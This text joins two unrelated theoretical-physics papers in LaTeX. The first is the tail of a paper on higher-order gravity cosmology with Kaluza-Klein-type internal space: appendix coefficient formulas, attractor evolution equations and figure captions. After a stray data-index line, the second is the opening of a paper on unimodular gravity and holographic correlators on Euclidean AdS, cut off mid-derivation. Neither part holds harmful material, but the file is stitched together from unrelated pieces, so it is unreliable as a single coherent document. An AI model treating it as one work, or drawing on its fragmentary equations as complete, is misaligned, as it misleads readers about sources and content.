& + & 12 Y^2 \left ( 2 H_{ext} H_{int}^3
+ 3 H_{ext}^2 H_{int}^2 \right ) \nonumber
\end{eqnarray}
$$
\hspace{.45in}+ \; \; 12 H_{int}^2 X^2 Y^2
+ 6 H_{int}^4 X^2 + 6 X^2 Y^4
\eqno (A.5j)
$$
\\
$$
C_{10} \; \; = \; \; 6 H_{ext}^2 + 15 H_{int}^2
+ 15 H_{ext} H_{int} + 3 X^2 + 10 Y^2
\eqno (A.6a)
$$
\begin{eqnarray}
C_{20} & = & 15 H_{int}^4 + 45 H_{ext}^2 H_{int}^2
+ 15 H_{ext}^3 H_{int}
+ 50 H_{ext} H_{int}^3 + H_{ext}^4 \nonumber \\
& + & 10 Y^2 \left ( 2 H_{int}^2 + 2 H_{ext}^2
+ 3 H_{ext} H_{int} \right ) \nonumber
\end{eqnarray}
$$
+ \; \; X^2 \left ( 15 H_{int}^2 + 5 H_{ext} H_{int}
+ H_{ext}^2 \right ) + 5 Y^4 + 10 X^2 Y^2
\eqno (A.6b)
$$
\begin{eqnarray}
C_{30} & = & 26 H_{ext}^3 H_{int}^3 + 36 H_{ext}^2 H_{int}^4
+ 15 H_{ext} H_{int}^5 + 6 H_{ext}^4 H_{int}^2 \nonumber \\
& + & Y^4 \left ( 6 H_{ext}^2 + 3 H_{ext} H_{int}
+ 2 H_{int}^2 \right ) \nonumber \\
& + & 2 Y^2 \left ( 15 H_{ext}^2 H_{int}^2
+ 9 H_{ext} H_{int}^3
+ 2 H_{int}^4 + 9 H_{ext}^3 H_{int}
+ H_{ext}^4 \right ) \nonumber \\
& + & 2 X^2 Y^2 \left ( 6 H_{int}^2
+ 3 H_{ext} H_{int} + H_{ext}^2 \right ) \nonumber
\end{eqnarray}
$$
\hspace{-.5in}+ \; \; X^2 \left ( 9 H_{int}^4
+ 10 H_{ext} H_{int}^3 + 2 H_{ext}^2 H_{int}^2 \right )
+ 3 X^2 Y^4
\eqno (A.6c)
$$
\begin{eqnarray}
C_{40} & = & 33 H_{ext}^3 H_{int}^5 + 15 H_{ext}^2 H_{int}^6
+ 15 H_{ext}^4 H_{int}^4 \nonumber \\
& + & 3 Y^4 \left ( 3 H_{ext}^3 H_{int} + H_{ext}^2 H_{int}^2
+ H_{ext}^4 \right ) \nonumber \\
& + & Y^2 \left ( 34 H_{ext}^3 H_{int}^3 + 18 H_{ext}^2 H_{int}^4
+ 18 H_{ext}^4 H_{int}^2 \right ) \nonumber \\
& + & 3 X^2 Y^4 \left ( H_{int}^2 + H_{ext}^2
+ H_{ext} H_{int} \right ) \nonumber \\
& + & 6 X^2 Y^2 \left ( H_{ext}^2 H_{int}^2
+ 3 H_{ext} H_{int}^3 + H_{ext}^4 \right ) \nonumber
\end{eqnarray}
$$
\hspace{-.3in}+ \; \; 3 X^2 \left ( H_{int}^6 + 5 H_{ext} H_{int}^5
+ H_{ext}^2 H_{int}^4 \right )
\eqno (A.6d)
$$
\\
$$
C_{21} \; \; = \; \; H_{ext}^2 + 10 H_{int}^2 + 10 H_{ext} H_{int}
+ X^2 + 10 Y^2 \eqno (A.6e)
$$
\begin{eqnarray}
C_{31} & = & 3 H_{int}^4 + 6 H_{ext}^2 H_{int}^2
+ 12 H_{ext} H_{int}^3 \nonumber \\
& + & 2 Y^2 \left ( 3 H_{int}^2 + H_{ext}^2
+ 6 H_{ext} H_{int} \right ) \nonumber
\end{eqnarray}
$$
\hspace{-.1in}+ \; \; 2 X^2 H_{int}^2
+ (3 Y^4 + 2 X^2 Y^2) \eqno (A.6f)
$$
\begin{eqnarray}
C_{41} & = & 6 H_{ext} H_{int}^5 + 15 H_{ext}^2 H_{int}^4 \nonumber \\
& + & 3 Y^4 \left ( 2 H_{ext} H_{int} + H_{ext}^2 \right ) \nonumber \\
& + & 6 Y^2 \left ( 2 H_{ext} H_{int}^3
+ 3 H_{ext}^2 H_{int}^2 \right ) \nonumber
\end{eqnarray}
$$
\hspace{.45in}+ \; \; 6 H_{int}^2 X^2 Y^2
+ 3 H_{int}^4 X^2 + 3 X^2 Y^4
\eqno (A.6g)
$$
\\
$$
C_{22} \; \; = \; \; 5 H_{ext}^2 + 10 H_{int}^2
+ 20 H_{ext} H_{int} + 5 X^2 + 10 Y^2
\eqno (A.6h)
$$
\begin{eqnarray}
C_{32} & = & 2 H_{int}^4 + 18 H_{ext}^2 H_{int}^2
+ 4 H_{ext}^3 H_{int} + 12 H_{ext} H_{int}^3 \nonumber \\
& + & 2 Y^2 \left ( 2 H_{int}^2 + 3 H_{ext}^2
+ 6 H_{ext} H_{int} \right ) \nonumber
\end{eqnarray}
$$
+ \; \; 2 X^2 \left ( 3 H_{int}^2 + 2 H_{ext} H_{int} \right )
+ 2 Y^4 + 6 X^2 Y^2 \eqno (A.6i)
$$
\begin{eqnarray}
C_{42} & = & 15 H_{ext}^2 H_{int}^4 + 20 H_{ext}^3 H_{int}^3 +
3 H_{ext}^2 Y^4 \nonumber \\
& + & 6 Y^2 \left ( 3 H_{ext}^2 H_{int}^2
+ 2 H_{ext}^3 H_{int} \right ) \nonumber \\
& + & 3 X^2 \left ( H_{int}^4 + 4 H_{ext} H_{int}^3 \right ) \nonumber \\
& + & 6 H_{int}^2 X^2 Y^2 \nonumber
\end{eqnarray}
$$
\hspace{-.4in}+ \; \; 12 H_{ext} H_{int} X^2 Y^2
+ 3 X^2 Y^4
\eqno (A.6j)
$$
\section*{Appendix B}
For $\kappa_2 = 1$, in the case of vanishing $\kappa_3$ and $\kappa_4$, the
evolution of the attracting point $D_2$ with respect to the
variation of the cosmological constant $\kappa_0$, is given by
$$
({dH_{ext} \over d \kappa_0 }) = ({QQ_1 \over PP}) \eqno (B.1a)
$$
$$
({dH_{int} \over d \kappa_0 }) = ({QQ_2 \over PP}) \eqno (B.1b)
$$
The functions $PP$, $QQ_1$, and $QQ_2$ are given by the expressions
$$
PP = F_{11} F_{22} -F_{12} F_{21} \eqno (B.2a)
$$
$$
QQ_1 = F_1 F_{22} -F_2 F_{12} \eqno (B.2b)
$$
$$
QQ_2 = F_{11} F_2 -F_1 F_{21} \eqno (B.2c)
$$
where we have set
$$
F_1 = - [2 + 24 (10 H_{int}^2 - 3 H_{ext}^2 ) ] \eqno (B.3a)
$$
$$
F_2 = - [2 + 24 (H_{ext}^2 + 6 H_{ext} H_{int} )] \eqno (B.3b)
$$
$$
F_{11} = G_{121}G_{20} + G_{12}G_{201} - G_{221}G_{10}
- G_{22}G_{101}
\eqno (B.3c)
$$
$$
F_{12} = G_{122}G_{20} + G_{12}G_{202} - G_{222}G_{10}
- G_{22}G_{102}
\eqno (B.3d)
$$
$$
F_{21} = G_{211}G_{10} + G_{21}G_{101} - G_{111}G_{20}
- G_{11}G_{201}
\eqno (B.3e)
$$
$$
F_{22} = G_{212}G_{10} + G_{21}G_{102} - G_{112}G_{20}
- G_{11}G_{202}
\eqno (B.3f)
$$
Now, the quantities $G_{ij}$ are given by
$$
G_{11} = 4 + 24 (B_{21})_{X=Y=0} \eqno (B.4a)
$$
$$
G_{12} = 12 + 24 (B_{22})_{X=Y=0} \eqno (B.4b)
$$
$$
G_{10} = \kappa_0 + 2 (B_{10})_{X=Y=0}
+ 24 (B_{20})_{X=Y=0}
\eqno (B.4c)
$$
$$
G_{21} = 6 + 24 (C_{21})_{X=Y=0} \eqno (B.4d)
$$
$$
G_{22} = 10 + 24 (C_{22})_{X=Y=0} \eqno (B.4e)
$$
$$
G_{20} = \kappa_0 + 2 (C_{10})_{X=Y=0}
+ 24 (C_{20})_{X=Y=0}
\eqno (B.4f)
$$
where $(B_{ij})_{X=Y=0}$ and $(C_{ij})_{X=Y=0}$ denote the form of
the corresponding quantities for $X = 0 = Y$ and the symbols
$G_{ijk}$ stand for
$$
G_{ijk} =({\partial G_{ij} \over \partial H_k })_{X=Y=0} \eqno (B.5)
$$
in which, $k = 1$ for $H_{ext}$ and $k = 2$ for $H_{int}$.
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\newpage
\section*{Figure Captions}
{\bf Fig. 1a:} The evolution of the Hubble
parameters in the GB theory $(\kappa_2 = 1)$, for three different
sets of initial conditions $(H_0^{ext} , H_0^{int})$:
$(0.75, -0.25)$ [solid line] $(0.85, -0.15)$ [dashed line]
and $(0.95, -0.05)$ [squares]. The time coordinate is measured
in units of $10^4 \: t_{Pl}$.
{\bf Fig. 1b:} The orbits (in the $H_{ext}-H_{int}$ plane) of the
dynamical system determined by the cosmological field equations
for a model with flat subspaces, for three different sets of
initial conditions. All orbits end at the attracting point
$D_2 \; (0.8866 \: , \: - 0.1375)$.
{\bf Fig. 2a:} The change in the location of the
attractor $D_2$ when a non-zero cosmological constant is included,
for $\kappa_0 = 0.5$.
{\bf Fig. 2b:} The displacement of the attractor on
the $H_{ext}-H_{int}$ plane for a wide range of values of the
cosmological constant (squares). Notice the very good agreement
with the least square fitting result $H_{int} = - 0.075 H_{ext}
\: - \: 0.071$.
{\bf Fig. 3a:} The evolution of the Hubble
parameters in the ${\cal L}_{(3)}$-theory, for $\kappa_3 = 0.15$ and
for three different sets of initial conditions $(H_0^{ext} ,
H_0^{int})$: $(0.75, -0.25)$ [solid line] $(0.85, -0.15)$ [dashed
line] and $(0.95, -0.05)$ [squares]. The time coordinate is measured
in units of $10^4 \: t_{Pl}$.
{\bf Fig. 3b:} The displacement of the
attractor on the $H_{ext}-H_{int}$ plane for a wide range of values
of the coupling constant $\kappa_3$ (squares). There is a very good
agreement with the plot of a sixth-order polynomial of the form
$H_{ext} = p_6 \left ( H_{int} \right )$.
{\bf Fig. 4a:} The evolution of the external
Hubble parameter for $H_0^{ext} = 0.85$, when several combinations
of the non-linear terms are gradually included in the field
equations. The time coordinate is measured in units of $10^4 t_{Pl}$.
{\bf Fig. 4b:} The displacement of the attractor on the $H_{ext}-H_{int}$
plane for a wide range of values of the coupling constant $\kappa_4$
(squares). Notice the very good agreement with the plot of a
third-order polynomial (solid line) of the form $H_{int} =
p_3(H_{ext})$.
{\bf Fig. 5a:} The time-evolution of the positively curved external
space, for several values of the normalized coupling constant
$\kappa_2$.
{\bf Fig. 5b:} The corresponding evolution of the positively curved
internal
space. In both figures the time coordinate is measured in units of
$10^4 \: t_{Pl}$. Notice the change in the cosmological behaviour
of both subspaces when $\kappa_2 < 0.65$ and when $\kappa_2 > 0.65$.
{\bf Fig. 6a:} The orbits (in the $H_{ext}-H_{int}$ plane) of the
dynamical system determined by the cosmological field equations for
a model with positively curved subspaces, for three different sets
of initial conditions when $\kappa_2 > 0.65$. All orbits end at the
attracting point P.
{\bf Fig. 6b:} The time-evolution of the Kasner solution
$R(t) \sim t^{0.55}$ for
the external space, for several values of the normalized coupling
constant $\kappa_3$. Again, the time coordinate is measured in units
of $10^4 \: t_{Pl}$. Notice the slight modulation in the
time-evolution when $ 0 \leq \kappa_3 \leq 0.75$.
\end{document}
|
1,477,468,750,007 | arxiv | \section{Introduction}
Unimodular gravity is a theory of gravity which puts the cosmological constant problem into a new perspective \cite{vanderBij:1981ym, Zee:1983jg, Buchmuller:1988wx, Henneaux:1989zc}, for the vacuum energy does not gravitate in that theory. In unimodular gravity the cosmological constant does not enter the classical action and thus it occurs as an integration constant in the classical theory \cite{vanderBij:1981ym, Zee:1983jg, Buchmuller:1988wx, Henneaux:1989zc}. At the quantum level, the cosmological constant occurs as parameter of the background field when computing the on-shell perturbative background-field effective action \cite{Alvarez:2015sba} and as a property of boundary states when computing transition amplitudes between those states \cite{Buchmuller:2022msj}.
In the current century, several issues have been studied over the years in connection with unimodular gravity --see \cite{Carballo-Rubio:2022ofy}, for a recent review. Let us mention just a few. Unimodular gravity as one of the two sound theories with transverse-diffeomorphism invariance \cite{Alvarez:2006uu}. How unimodular gravity arises from interacting gravitons \cite{Barcelo:2014mua}. The quantization of unimodular gravity within the BRST formalism \cite{Alvarez:2015sba, Upadhyay:2015fna, Kugo:2022iob, Kugo:2022dui, Baulieu:2020obv, Buchmuller:2022msj}. Whether unimodular gravity and general relativity agree as effective quantum field theories \cite{Alvarez:2005iy, Fiol:2008vk, Bufalo:2015wda, Alvarez:2016uog, deLeonArdon:2017qzg, Gonzalez-Martin:2017fwz, Gonzalez-Martin:2018dmy, deBrito:2021pmw}. Asymptotic-safety analysis of unimodular gravity \cite{Eichhorn:2013xr, Saltas:2014cta, Eichhorn:2015bna, DeBrito:2019gdd, deBrito:2020rwu}. The formulation of unimodular supergravity \cite{Anero:2019ldx, Anero:2020tnl, Bansal:2020krz}. Sundry topics like the first order formalism \cite{Alvarez:2015oda} and the hamiltonian formalism \cite{Alvarez:2021fhp} as applied to unimodular gravity, and a massive version of the theory \cite{Alvarez:2018law}.
The gauge/gravity duality conjecture states that a gravity theory in a $d+1$-dimensional space-time with boundary is equivalent to an appropriate gauge theory --with no gravity-- in its $d$ dimensional boundary. There is a wealth of evidence --see \cite{Ammon:2015wua, Nastase:2015wjb} and references therein-- that this conjecture holds for the pair of theories for which the duality was originally put forward \cite{Maldacena:1997re}, namely: type IIB superstring on $AdS_5\times S^5$ with $N$ units of flux on $S^5$, on the one hand, and ${\cal N}=4$ super-Yang-Mills for $SU(N)$ on four dimensional Minkowski space-time, on the other. Another well-established instance of the gauge/gravity duality is the pair constituted by M-Theory on $AdS_4\times S^7/Z_k$ and the large $N$ limit of the ABJM theory, which was introduced in \cite{Aharony:2008ug}. We see that at low energy these two instances involve General Relativity on $AdS_5$ and $AdS_4$ as duals of strongly interacting field theories without gravity in $4$ and $3$ dimensions, respectively.
The reader should bear in mind that from now on shall consider Euclidean AdS only. In Poincar\'e coordinates, Euclidean AdS is the space ${\cal H}_{d+1}=\{(z,\vec{x})\mid z>0, \vec{x}\in \mathbb{R}^d\}$ with line element
\begin{equation}
ds^2\,=\,\frac{L^2}{z^2}(dz^2+ \delta_{ij}dx^i dx^j).
\label{standardmetric}
\end{equation}
The (conformal) boundary of ${\cal H}_{d+1}$ is at $z=0$.
The gauge/gravity duality, when it holds, is a precisely formulated realization of the holographic principle \cite{tHooft:1993dmi, Susskind:1994vu}. The formulation in question entails the so-called holographic dictionary introduced in \cite{Witten:1998qj, Gubser:1998bc}. This dictionary sets a correspondence between objects (parameters and fields) of the quantum gravity theory in $d+1$-dimensions and the dual quantum field theory in $d$-dimensions. In particular, the quantum fluctuations, say $h_{\mu\nu}$, of the Euclidean AdS metric is linked with the energy-momentum tensor, $T_{ij}$, of the dual quantum field theory. Indeed, the data, say $h^{(b)}_{ij}$, setting the value of $h_{\mu\nu}$ at the conformal boundary of Euclidean AdS acts a source of the energy-momentum tensor of the dual quantum field theory: it is postulated that the $n$-point connected Green function of $T_{ij}$ is given by
\begin{equation}
\langle T_{i_1 j_1}(x_1)\cdots T_{i_n j_n}(x_n)\rangle^{(connected)}\;=\;\left.\frac{\delta^n\,Ln\,Z_{gravity}[h^{(b)}_{ij}]}{\delta h^{(b)i_1 j_1}(x_1)\cdots \delta h^{(b)i_n j_n}(x_n)}\right\vert_{h^{(b)}=0},
\label{EMcorr}
\end{equation}
where $Z_{gravity}[h^{(b)}_{ij}]$ is the partition function of the gravity theory on the Euclidean AdS background for the boundary data $h^{(b)}_{ij}$.
In this paper we shall be concerned only with the leading saddle point approximation to $Z_{gravity}[h_{ij}^{(b)}]$. This approximation is given by
\begin{equation}
\ln\;Z_{gravity}[h^{(b)}_{ij}]\,=\,-S_{classical}[h_{\mu\nu}[h^{(b)}_{ij}]],
\label{saddlep}
\end{equation}
where $h_{\mu\nu}[h^{(b)}_{ij}]$ is the solution to the classical gravity equations of motion in the Euclidean AdS background with boundary data equal to $h^{(b)}_{ij}$.
Of course, as they stand, both (\ref{EMcorr}) and (\ref{saddlep}) are formal equations: they need regularization and renormalization to be well-defined. We shall regularize and renormalize $S_{classical}[h_{\mu\nu}[h^{(b)}_{ij}]]$ as done in \cite{Witten:1998qj, Freedman:1998tz, Liu:1998bu, Arutyunov:1998ve, DHoker:2002nbb}, ie, first, by cutting off at $\epsilon_0 >0$ the ``$z$" coordinate of the Euclidean AdS metric in Poincar\'e coordinates; and, then, subtracting the divergences which arise as $\epsilon_0$ goes to zero. We shall not use the holographic renormalization framework of \cite{Henningson:1998gx} --see \cite{Skenderis:2002wp}, for a pedagogical exposition. This framework demands the use of the Graham-Fefferman form of the near boundary metric, which in not a unimodular metric.
The purpose of this paper to work out, in the leading saddle point approximation, the 2-point and 3-point contributions to the partition function --see (\ref{saddlep})-- of unimodular gravity for an Euclidean AdS background and thus to begin the analysis of the properties of unimodular gravity from the gauge/gravity duality standpoint.
By unimodular gravity we shall mean a gravity theory as formulated by using the framework of references \cite{Alvarez:2006uu, Alvarez:2005iy, Alvarez:2015sba}. In the framework
in question the unimodular metric, say $\hat{g}_{\mu\nu}$, is expressed in terms of the unimodular background metric $\bar{g}_{\mu\nu}$ and the unconstrained field $h_{\mu\nu}$ as follows
\begin{equation}
\hat{g}_{\mu\nu}=\frac{g_{\mu\nu}}{|g|^{1/n}}\,\quad g_{\mu\nu}=\bar{g}_{\mu\nu}+\kappa h_{\mu\nu}.
\label{gravitonfield}
\end{equation}
In the previous equations $g$ denotes the determinant of $g_{\mu\nu}$, $n$ is the space-time dimension and $\kappa=\sqrt{8\pi G}$; $G$ being the gravitational constant. The two-tensor $h_{\mu\nu}$ describes the perturbations of the background $\bar{g}_{\mu\nu}$, classically, and the fluctuations of the latter at the quantum level. Upon quantization $h_{\mu\nu}$ becomes the graviton field \cite{Alvarez:2006uu, Alvarez:2005iy}. The gauge symmetry of this formulation of unimodular gravity is constituted by transverse diffeomorphisms and Weyl transformations of $g_{\mu\nu}$ \cite{Alvarez:2006uu, Alvarez:2016lbz}.
The classical action of our unimodular gravity theory for a manifold ${\cal M}$ with boundary $\partial{\cal M}$ is \cite{Blas:2008uz, Fiol:2008vk}
\begin{equation}
S_{\text{\tiny{UG}}}\,=\, -\frac{1}{2\kappa^2}\Big(\int_{\cal M}d^n x\,R[\hat{g}_{\mu\nu}]\,+\,2\int_{\partial\cal M}d^{n-1} y\,\sqrt{\hat{g}^{(b)}}K\Big),
\label{UGaction}
\end{equation}
where $R[\hat{g}]$ is the Ricci scalar, $\hat{g}_{(b)}$ is the determinant of the induced metric on the boundary and $K$ is the trace of the extrinsic curvature of the boundary for the unimodular metric $\hat{g}_{\mu\nu}$. Of course,$\hat{g}_{\mu\nu}$ is given in (\ref{gravitonfield}). The equation of motion derived from $S_{\text{\tiny{UG}}}$ reads \cite{Alvarez:2015sba}
\begin{equation}
R_{\m\n}-\frac{1}{n}R g_{\m\n}={(n-2)(2n-1)\over 4 n^2} \left({\nabla_\m g\nabla_\n g \over g^2}-{1\over n} {(\nabla g)^2\over g^2} g_{\m\n}\right)-{n-2\over 2n} \left({\nabla_\m \nabla_\n g \over g}-{1\over n}
{\nabla^2 g\over g} g_{\m\n}\right),
\label{UGeom}
\end{equation}
where $R_{\mu\nu}$ and $R$ are the Ricci tensor and the Ricci scalar for $g_{\mu\nu}$ --not for $\hat{g}_{\mu\nu}$, respectively; $\nabla_\mu g\equiv \partial_\mu g$. The previous equations, which we shall call the unimodular equation of motion, are obtained by setting to zero the infinitesimal variations of $S_{\text{\tiny{UG}}}$ induced by infinitesimal variations of $g_{\mu\nu}$ which vanish at $\partial{\cal M}$.
The reader should notice that no Cosmological Constant occurs in $S_{\text{\tiny{UG}}}$ and yet $g_{\mu\nu}=\bar{g}_{\mu\nu}$ is a solution to the unimodular equation of motion in (\ref{UGeom}) when $\bar{g}_{\mu\nu}$ is the unimodular Euclidean AdS metric. This result holds whatever the value of the Cosmological Constant which occurs in the Euclidean AdS metric. This is in sharp contrast with the General Relativity situation where the Cosmological Constant enters the action and the value of Cosmological Constant which characterizes the Euclidean AdS metric is only the one which occurs in the action.
We shall show that the two- and three-point contributions to the r.h.s of (\ref{saddlep}) in General Relativity and unimodular gravity are not the same for the IR regularized theories. However, this difference is due only to IR divergent contact contributions so that once these IR divergent terms are subtracted full agreement between the unimodular gravity and General Relativity results is reached. As a consequence, the two-point and three-point correlation functions of the energy momentum tensor defined according to (\ref{EMcorr}) are the same for both gravity theories. And yet, this equivalence between unimodular gravity and General Relativity regarding those IR finite results cannot hide the fact that it is obtained in a non trivial way.
The layout of this paper is as follows. In section 2 we put forward the unimodular counterpart of Euclidean AdS in Poincar\'e coordinates. In section 3 we solve the linearized version of unimodular gravity equation (\ref{UGeom}) for the unimodular Euclidean AdS background. We shall show that a suitable gauge choice --the axial gauge-- and coordinates turns the linearized equation in question into the equation of a free massless scalar field on the Euclidean AdS background. Sections 4 and 5 are devoted, respectively, to the computation of the two- and three-point contributions to the r.h.s. of (\ref{saddlep}) for unimodular gravity and how these contributions compare to their General Relativity counterparts. In section 6 we shall state our conclusions. We also include an Appendix where we discuss how to find the solution to the linearized General relativity equations in the axial gauge, the solution satisfying Dirichlet Boundary conditions and having a well-defined limit as we move towards the interior of Euclidean AdS.
\section{Euclidean AdS with unimodular metric. Unimodular Poincar\'e coordinates.}
In the standard Gauge/Gravity duality discussions \cite{DHoker:2002nbb}, one usually characterises Euclidean AdS by using Poincar\'e coordinates, and thus Euclidean AdS in $d+1$ dimensions is identified with the set of $\rm{I\!R}^{d+1}$ points $\{(z,\vec{x}), z > 0, \vec{x}\in \rm{I\!R}^{d}\}$ with line element
\begin{equation}
ds^2\,=\,\frac{L^2}{z^2}\left(dz^2+\delta_{ij}dx^i dx^j\right),\quad i,j=1\ldots d.
\label{linepoincare}
\end{equation}
In this coordinate system the boundary is at $z=0$ and it is $\rm{ I\!R}^{d}$.
The determinant of the metric of the previous line element is not $1$, so this metric does not suit our purposes. Let us introduce a new coordinate, say $w$, $w\geq 0$, defined as follows
\begin{equation}
w\,=\,\frac{L^{d+1}}{d}z^{-d}.
\label{wcoord}
\end{equation}
Here and elsewhere $d\geq 3$. In terms of $w$ the line element in (\ref{linepoincare}) reads
\begin{equation}
ds^2\,=\,\left(\frac{L}{w d}\right)^2 dw^2+\left(\frac{w d}{L}\right)^{2/d}\delta_{ij}dx^i dx^j.
\label{UGline}
\end{equation}
The Riemannian metric of the line element in (\ref{UGline}) is unimodular; but now Euclidean AdS is identified with set of real $d\!+\!1$-tuples $(w,\vec{x})$, $w > 0$, $\vec{x}\in \rm{I\!R}^{d}$ and the boundary is at $w=\infty$.
The graviton field, $h_{\mu\nu}$, of our unimodular gravity theory will propagate in an Euclidean AdS background with unimodular metric $\bar{g}_{\mu\nu}$ --the background metric-- given by
\begin{equation}
\bar{g}_{\mu\nu}(w,\vec{x})\,=\,\left(\left(\frac{L}{w d}\right)^2,\left(\frac{w d}{L}\right)^{2/d}\delta_{ij}\right),
\label{unimetric}
\end{equation}
where $\mu,\nu=0,1...d$ and $i,j=1...d$.
Let us close this section by making some comments regarding the killing vectors of a general unimodular metric. First, any such killing vector, $\xi^{\mu}$, is transverse, ie, $\partial_{\mu}\xi^\mu=0$, since transversality is equivalent to covariant transversality, $\nabla_\mu \xi^\mu=0$, when the metric is unimodular. Secondly, the number of independent killing vectors of a unimodular metric and any metric obtained from it by a diffeomorphism is the same. This is relevant with regard to the gauge/gravity duality.\footnote{We thank E. \'Alvarez for pointing out these two results to us.}
\section{The linearized unimodular gravity equation on an Euclidean AdS background.}
The linearized unimodular gravity equation in the Euclidean AdS background with the unimodular metric, $\bar{g}_{\mu\nu}$, in (\ref{unimetric}) is obtained from the equation in (\ref{UGeom}) with $n=d+1$, by setting $g_{\mu\nu}=\bar{g}_{\mu\nu}+\kappa h_{\mu\nu}$ and expanding at first order in $\kappa$. Thus, one gets
\begin{equation}
\begin{array}{l}
{\frac{1}{2}\bar{\Box}h_{\mu\nu}-\frac{d+3}{2(d+1)^2}\bar{g}_{\mu\nu}\bar{\Box}h-\frac{1}{2}\bar{\nabla}_\mu\bar{\nabla}_\rho h^\rho_\nu-\frac{1}{2}\bar{\nabla}_\nu\bar{\nabla}_\rho h^\rho_\mu+\frac{1}{d+1}\bar{g}_{\mu\nu}\bar{\nabla}_\rho\bar{\nabla}_\sigma h^{\rho\sigma}
+\frac{1}{d+1}\bar{\nabla}_\mu\bar{\nabla}_\nu h}\\[4pt]
{+\frac{1}{L^2}h_{\mu\nu}-\bar{g}_{\mu\nu}\frac{1}{(d+1)L^2} h=0,}
\end{array}
\label{linearisedugeq}
\end{equation}
where all the covariant derivatives are defined with respect to $\bar{g}_{\mu\nu}$ --hence, the upper bar-- and $h\equiv\bar{g}^{\mu\nu}\,h_{\mu\nu}$. Let us point out that (\ref{linearisedugeq}) is quite different from the corresponding General Relativity equation, (\ref{linGR}), in the Appendix.
The aim of this section is to find the solution to (\ref{linearisedugeq}) for suitable Dirichlet data at the boundary and such that --see \cite{DHoker:2002nbb, Ammon:2015wua}-- the solution in question has a well-defined limit as one moves deep into the interior of Euclidean AdS, ie, as $w\rightarrow 0$. We shall cut-off the $w$ coordinate at $\rho_{0}$ --ie, $0\leq w\leq \rho_{0}$-- to regularize the IR divergent contributions to the r.h.s of (\ref{saddlep}) coming from regions arbitrarily close to $w=\infty$. Thus, we shall solve (\ref{linearisedugeq}) in the domain $\{(w,\vec{x}); 0 < w < \rho_{0}, \vec{x}\in \rm{I\!R}^d\}$. We shall show that in the axial gauge,
$h_{0\mu}[w,\vec{x}]=0$, such a solution can be brought to a solution, say $h_{\mu\nu}=(h_{0\mu}=0,h_{ij})$, satisfying
\begin{equation}
\delta^{ij}h_{ij}[w,\vec{x}]\,=\,0\quad\text{and}\quad\partial^j h_{ji}[w,\vec{x}]\,=\,0,
\label{TTpremier}
\end{equation}
by doing a gauge transformation that preserves the axial gauge condition. In (\ref{TTpremier}), $i,j=1...d$ and
$\partial^j=\delta^{jl}\frac{\partial}{\partial x^l}$.
To solve (\ref{linearisedugeq}) for $h_{\mu\nu}$, we shall take advantage of the gauge symmetries:
\begin{equation}
\begin{array}{l}
{\delta h_{\mu\nu}(x)\,=\,\bar{\nabla}_\mu\theta_\nu(x)+\bar{\nabla}_\nu\theta_\mu(x),\quad \bar{\nabla}_\mu\theta^\mu(x)=0,}\\[4pt]
{\delta_{W} h_{\mu\nu}(x)(x)= 2\sigma(x)\bar{g}_{\mu\nu},\quad x\equiv (w,\vec{x}).}
\label{gaugesym}
\end{array}
\end{equation}
of the equation in question. $\bar{\nabla}_\mu$ is defined with regard to the unimodular metric $\bar{g}_{\mu\nu}$ in (\ref{unimetric}). That the transformations in (\ref{gaugesym}) leave (\ref{linearisedugeq}) invariant can be easily checked directly and it is a consequence of the fact --see \cite{Alvarez:2015sba}-- that the unimodular action in (\ref{UGaction}) is invariant under transverse diffeomorphisms and Weyl transformations of $g_{\mu\nu}$ in (\ref{gravitonfield}). Recall that $\partial_\mu\theta^\mu=0$ is equivalent to $\nabla_\mu\theta^\mu(x)=0$ if the metric is unimodular.
By using the transformations in (\ref{gaugesym}), one may impose the gauge condition $h_{0\mu}[w,\vec{x}]=0$, $0\leq w\leq \rho_0$ and $\vec{x}\in\rm{I\!R}^d$. From now on we shall assume that the previous gauge condition is imposed so that only $h_{ij}[w,\vec{x}]$ occurs in (\ref{linearisedugeq}).
Let us introduce the following definitions
\begin{equation*}
\begin{array}{l}
{H_{ij}[z,\vec{x}]\,=\,h_{ij}[w=\frac{L^{d+1}}{d}z^{-d},\vec{x}],\quad H[z,\vec{x}]=\delta^{ij}H_{ij}[z,\vec{x}],\quad i,j=1...d}\\[4pt]
{f[z,\vec{x}]\,=\,\idkd\;f[z,\vec{k}]\;e^{-i\vec{k}\cdot\vec{x}},\quad\vec{k}=(k^1,...,k^d),\quad f''=\frac{d^2 f}{dz^2},\quad f'=\frac{d f}{dz}.}
\end{array}
\end{equation*}
Then, after changing variables from $w$ to $z=(\frac{w d}{L^{d+1}})^{-1/d}$ equation (\ref{linearisedugeq}) boils down to the following set of equations
\begin{equation}
\begin{array}{l}
{H''[z,\vec{k}]((-1 + d) z^2)+H'[z,\vec{k}](-((-5 + d) (-1 + d) z))+}\\[4pt]
{H[z,\vec{k}](-2 (-2 + d) (-1 + d) + (3 + d) k^2 z^2)-k^i k^j H_{ij}[z,\vec{k}](2 (1 + d) z^2)=0,}
\end{array}
\label{eom00}
\end{equation}
\begin{equation}
-2 k_i z H'[z,\vec{k}]+(-5+d)k_iH[z,\vec{k}]+ (1+d)( z k^j H_{ji}'[z,\vec{k}]+2 k^j H_{ji}[z,\vec{k}])=0.
\label{eom0i}
\end{equation}
\begin{equation}
\begin{array}{l}
{H''[z,\vec{k}] (-(3 + d) z^2)\delta_{ij}+ H'[z,\vec{k}]((-5 + d) (3 + d) z\delta_{ij} )+}\\[8pt]
{ H[z,\vec{k}](-2 (1 + d) z^2 k_i k_j + (3 + d)(-4 + 2 d + k^2 z^2)\delta_{ij})+}\\[8pt]
{H_{ij}''[z,\vec{k}](1 + d)^2 z^2+ H_{ij}'[z,\vec{k}](-(-5 + d) (1 + d)^2 z)+
H_{ij}[z,\vec{k}](-(1 + d)^2 (-4 + 2 d + k^2 z^2))+}\\[8pt]
{(- 2 (1 + d) z^2)\delta_{ij} k^lk^m H_{lm}[z,\vec{k}] +
(1 + d)^2 z^2 (k_j k^l H_{li}[z,\vec{k}] + k_i k^l H_{lj}[z,\vec{k}])=0.}
\end{array}
\label{eomij}
\end{equation}
Let us stress that equations (\ref{eom00}), (\ref{eom0i}) and (\ref{eomij}) are equivalent to the components $00$, $0i$ and $ij$ of equation (\ref{linearisedugeq}), respectively. $i,j$ run from $1$ to $d$.
Let us first show that (\ref{eom00}), (\ref{eom0i}) and (\ref{eomij}) imply that, modulo a transverse diffeomeorphism transformation that preserves $h_{0\mu}[w,\vec{x}]=0$,
\begin{equation}
H[z,\vec{k}]=0\quad \text{and}\quad k^jH_{ji}[z,\vec{k}]=0,
\label{TTconditions}
\end{equation}
